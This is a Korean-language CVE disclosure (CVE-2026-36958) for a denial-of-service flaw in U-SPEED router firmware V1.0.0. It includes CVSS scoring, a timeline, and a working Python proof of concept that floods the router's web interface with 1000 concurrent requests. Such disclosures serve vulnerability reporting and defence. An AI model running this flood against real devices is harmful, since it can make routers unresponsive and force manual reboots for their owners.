
CVE-2026-36958에 대한 개념 증명(PoC)으로, U-SPEED 라우터 펌웨어의 서비스 거부(DoS) 취약점입니다. 동시 HTTP 요청을 통해 리소스를 고갈시켜 웹 인터페이스가 응답하지 않게 만듭니다.
CVE ID: CVE-2026-36958 날짜: 2026-04-29 발견자: Kirubel Solomne 공급업체: U-SPEED 제품: U-SPEED 라우터 펌웨어 버전: V1.0.0 CWE: CWE-400 - 통제되지 않은 리소스 소비
U-SPEED 라우터 펌웨어 V1.0.0은 서비스 거부(Denial of Service) 취약점에 노출되어 있습니다. 공격자는 웹 관리 인터페이스의 임의 또는 존재하지 않는 엔드포인트에 대량의 동시 HTTP 요청을 전송하여 임베디드 Boa HTTP 서버의 시스템 리소스를 고갈시킬 수 있습니다. 이로 인해 라우터 웹 인터페이스가 응답하지 않게 되며, 정상적인 작동을 복구하려면 수동 재부팅이 필요할 수 있습니다.
CVSS v3.1 점수: 7.5 (높음)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
| 메트릭 | 값 |
|---|
| 공격 벡터 | 네트워크 |
| 공격 복잡성 | 낮음 |
| 필요한 권한 | 없음 |
| 사용자 상호작용 | 없음 |
| 기밀성 영향 | 없음 |
| 무결성 영향 | 없음 |
| 가용성 영향 | 높음 |
import requests
import threading
TARGET = "http://192.168.10.1"
def flood(i):
try:
requests.get(f"{TARGET}/random_endpoint_{i}", timeout=2)
except:
pass
threads = []
for i in range(1000):
t = threading.Thread(target=flood, args=(i,))
threads.append(t)
t.start()
for t in threads:
t.join()
print("Done. Check if router web interface is still responsive.")
예상 동작: 서버는 동시 연결을 정상적으로 처리해야 합니다. 실제 동작: 웹 인터페이스가 응답하지 않게 되며, 수동 재부팅이 필요합니다.
| 날짜 | 이벤트 |
|---|---|
| 2026-04-29 | 취약점 발견 |
| 2026-04-29 | MITRE에 보고 |
| 2026-04-29 | CVE-2026-36958 배정 |
| 2026-04-29 | 공개 공개 |